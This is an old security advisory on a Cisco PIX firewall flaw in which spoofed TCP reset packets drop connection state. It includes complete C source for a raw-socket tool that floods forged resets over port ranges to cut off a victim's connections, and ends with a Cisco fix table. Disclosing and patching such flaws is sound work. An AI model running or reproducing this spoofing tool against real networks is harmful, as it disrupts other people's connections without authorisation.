COMMAND

    PIX DMZ

SYSTEMS AFFECTED

    Cisco

PROBLEM

    Andrew Alston found  following.  If  you run routable  ips on your
    internal  interface  on  your  pix,  and  routeable  ips  on  your
    external interface, so the pix  is not running nat, the  pix keeps
    a state table  of everything going  on.  Anything  that is not  in
    your state  table that  attempts to  come in  from the  outside is
    denied, even if  there is a  conduit in place  to permit anything.
    Which means  that you  have to  establish a  connection from  your
    internal  network  to  your   external  network  before   anything
    external  can  send  data  back.   This  is a really nice feature,
    unfortunatly there is a bit of a bug that Andrew found in this.

    On recieving a RST packet (TCP  Reset) from a given host with  the
    correct source and destination port,  the PIX will drop the  state
    entry  for  that  particular  connection,  which  means  the   tcp
    connection dies due to the  fact that no state entry  the external
    box can no longer talk to the internal box.

    So, if we  take a standard  raw ip packet,  give it a  tcp header,
    and set  the source  ip as  a machine  that your  internal box  is
    connected to,  and the  destination ip  as your  internal machine,
    set the source port  on the spoofed ip  as the port the  person is
    connected to,  set your  destination port  on your  destination ip
    cyclically to possible source ports on his side, and send  resets,
    it will drop the persons  state table entry, cutting him  off from
    the box he is connected to.

    This  exploit  does  NOT  work   against  firewall-1  due  to   an
    interesting technique  used to  fix the  problem, when  firewall-1
    recieves a  TCP Reset,  it simply  drops its  state table  timeout
    from 3600 seconds  to 50 seconds,  and should no  data be recieved
    between the two hosts within 50 seconds the entry is removed  from
    the state tables...  however we might  add that as  far as we  can
    see this  opens up  another interesting  bug in  firewall-1, which
    could  lead  to  the  possibility  of  a man in the middle attack,
    though further  details will  follow about  that in  another post.
    Because this  does NOT  work in  a NAT  configuration, in  theory,
    although this hasnt been tested,  the work around would be  to map
    all global  ips on  your external  interface, and  then static nat
    the ports you want accessible  on your DMZ through to  localnet ip
    addresses.

    /* reset_state.c (c) 2000 Citec Network Securities */
    /* The code following below is copyright Citec Network Securities */
    /* Code was developed for testing, and is written to compile under */
    /* FreeBSD */

    #define __BSD_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include <unistd.h>
    #include <time.h>
    #include <netdb.h>

    struct slist {
	    struct in_addr  spoof;
	    struct slist   *link;
    };					/* Spoof list */

    int
    main(int argc, char *argv[])
    {

	    int i, int2;
	    int             sock;		/* Socket stuff */
	    int             on = 1;		/* Socket stuff */
	    struct sockaddr_in sockstruct;	/* Socket stuff */
	    struct ip      *iphead;		/* IP Header pointer */
	    struct tcphdr  *tcphead;	/* TCP Header pointer */
	    char            evilpacket[sizeof(struct ip) + sizeof(struct tcphdr)];
					    /* Our reset packet */
	    int             seq, ack;	/* Sequence and Acknowledgement #'s */
	    FILE           *spooffile;	/* Spoof file */
	    char           *buffer;		/* Spoof file read buffer */
	    struct slist   *scur, *sfirst;	/* Spoof linked list pointers */
	    char src[20], dst[20];		/* Work around for inet_ntoa static */
					    /* Pointers when using printf() */
	    int sourcefrom, sourceto, destfrom, destto;	/* CMD Line ports */
	    int target;			/* Target address from inet_addr() */


	    if(argc < 6) {
		    fprintf(stderr, "Usage: %s spoof_file target sps spe dps dpe\n"
		    "target = your victim\n"
		    "sps = Source port start\n"
		    "spe = Source port end\n"
		    "dps = Destination port start\n"
		    "dpe = Destination port end\n", argv[0]);
		    exit(-1);
		    }
	    else {
		    sourcefrom = atoi(argv[3]);
		    sourceto = atoi(argv[4]);
		    destfrom = atoi(argv[5]);
		    destto = atoi(argv[6]);
		    };

	    if(sourcefrom > sourceto) {
		    printf("Error, start source port must be less than end source port\n");
		    exit(-1);
		    }
	    else if(destfrom > destto) {
		    printf("Error, start dest port must be less than end dest port\n");
		    exit(-1);
		    };

	    printf("Used spoof file %s\n"
	           "Destination: [%s] ports: [%d -> %d]\n"
	           "Target source ports: [%d -> %d]\n",
		    argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);

	    sleep(1);

	    bzero(evilpacket, sizeof(evilpacket));
					    /* Clean our reset packet */

	    sfirst = malloc(sizeof(struct slist));
	    scur = sfirst;
	    scur->link = NULL;		/* Setup our spoof linked list */

	    if(!(buffer = malloc(25))) {
		    perror("malloc");
		    exit(-1);
		    };			/* Allocate for read buffer */

	    if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
		    perror("fopen");
		    exit(-1);		/* Open our spoof file */
	    } else {
		    while (fgets(buffer, 25, spooffile)) { 	/* Read till EOF */
			    if (!(inet_aton(buffer, &(scur->spoof))))
				    printf("Invalid address found in victim file.. ignoring\n");
			    else {
				    scur->link = malloc(sizeof(struct slist));
				    scur = scur->link;
				    scur->link = NULL;	/* Cycle l.list */
				    }
			    };		/* End of while loop */
		    };		/* End of if {} else {} */


	    free(buffer);			/* Free up our read buffer */
	    fclose(spooffile);		/* Close our spoof file */
	    scur = sfirst;			/* Set spoof list current to first */

	    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
		    perror("socket");
		    exit(-1);
	    }				/* Allocate our raw socket */

	    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on, sizeof(on)) < 0) {
		    perror("setsockopt");
		    exit(-1);
	    }				/* Set socket options for raw iphead */

	    sockstruct.sin_family = AF_INET;
	    iphead = (struct ip *) evilpacket;
	    tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
					    /* Align ip and tcp headers */

	    iphead->ip_hl = 5;		/* Ip header length is 5 */
	    iphead->ip_v = 4;		/* ipv4 */
	    iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
					    /* Length of our total packet */
	    iphead->ip_id = htons(getpid());	/* Packet ID == PID # */
	    iphead->ip_ttl = 255;			/* Time to live == 255 */
	    iphead->ip_p = IPPROTO_TCP;		/* TCP Packet */
	    iphead->ip_sum = 0;			/* No checksum */
	    iphead->ip_tos = 0;			/* 0 Type of Service */
	    iphead->ip_off = 0;			/* Offset is 0 */
	    tcphead->th_win = htons(512);		/* TCP Window is 512 */
	    tcphead->th_flags = TH_RST;		/* Reset packet */
	    tcphead->th_off = 0x50;			/* TCP Offset 0x50 */

	    iphead->ip_dst.s_addr = inet_addr(argv[2]);

	    srand(getpid());			/* Seed for rand() */
	    while (scur->link != NULL) {
		    seq = rand() % time(NULL);	/* Randomize our #'s */
		    ack = rand() % time(NULL);	/* Randomize ack #'s */
		    sockstruct.sin_port = htons(rand() % time(NULL));
		    iphead->ip_src = scur->spoof;	/* Set the spoofed address */
		    sockstruct.sin_addr = scur->spoof;
		    for(i = sourcefrom; i <= sourceto; i++) {
			    for(int2 = destfrom; int2 <= destto; int2++) {
				    usleep(2);	/* Sleep 5ms between packets */
				    seq += (rand() %10)+250;
				    ack += (rand() %10)+250;
				    tcphead->th_seq = htonl(seq);
						    /* Set sequence number */
				    tcphead->th_ack = htonl(ack);
						    /* Set ack number */
				    tcphead->th_dport = htons(int2);
						    /* Set destination port */
				    tcphead->th_sport = htons(i);
						    /* Set source port */
				    snprintf(src, 20, "%s", inet_ntoa(iphead->ip_src));
				    snprintf(dst, 20, "%s", inet_ntoa(iphead->ip_dst));
				    /* Copy info to src and dst for printing */
				    printf("TCP RESET: [%s:%d] -> [%s:%d]\n", src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
				    sendto(sock, &evilpacket, sizeof(evilpacket), 0x0,
			       		    (struct sockaddr *) & sockstruct, sizeof(sockstruct));
						    /* Send our evil packet */
				    };
			    };
		    scur = scur->link;		/* Cycle the spoof ips */
		    }
		    scur = sfirst;
	    return (1);

    };

    This  vulnerability  exists  in  all  Cisco  Secure  PIX  Firewall
    software releases up to  and including 4.2(5), 4.4(4),  5.0(3) and
    5.1(1). The defect has been assigned Cisco bug ID CSCdr11711.

SOLUTION

    For the version  listed in the  left-most column below,  customers
    should  upgrade  to  at  least  the  version  shown  in the center
    column.   Please  note  the  hardware  requirements  following the
    table.

        +-----------------------------+--------------------------+---------------+
        |                             |Projected first fixed     |               |
        |Affected Version             |regular release (fix will |Date Available |
        |                             |carry forward into all    |               |
        |                             |later versions)           |               |
        +-----------------------------+--------------------------+---------------+
        |All versions of Cisco Secure |                          |               |
        |PIX up to version 4.2(5)     |                          |               |
        |(including 2.7, 3.0, 3.1,    |           4.4(5)         |   2000-06-09  |
        |4.0, 4.1)                    |                          |               |
        +-----------------------------+--------------------------+---------------+
        |All 4.3.x and 4.4.x versions |                          |               |
        |up to and including version  |           4.4(5)         |   2000-06-09  |
        |4.4(4)                       |                          |               |
        +-----------------------------+--------------------------+---------------+
        |Version 5.0.x up to and      |                          |               |
        |including version 5.0(3)     |           5.1(2)         |   2000-06-09  |
        +-----------------------------+--------------------------+---------------+
        |Version 5.1.1                |           5.1(2)         |   2000-06-09  |
        +-----------------------------+--------------------------+---------------+

    A 128MB upgrade for the PIX Firewall is necessary if:
    * Version  4.3  or  4.4  is  used  on  a PIX 'Classic'  (excluding
      PIX10000, PIX-510, PIX-520, and PIX-515)

    Or

    * Version  5.0 is  used on  a PIX  'Classic', PIX10000, or PIX-510
      (excluding PIX-520 and PIX-515)

    As  with  any  new  software  installation,  customers planning to
    upgrade  should  carefully  read  the  release  notes  and   other
    relevant documentation before beginning  any upgrade. Also, it  is
    important to be certain that  the new version of Cisco  Secure PIX
    Firewall software  is supported  by your  hardware and  especially
    that enough memory is available.

    There are no workarounds for  this defect. Customers are urged  to
    upgrade to the versions of code containing the fix for CSCdr11711.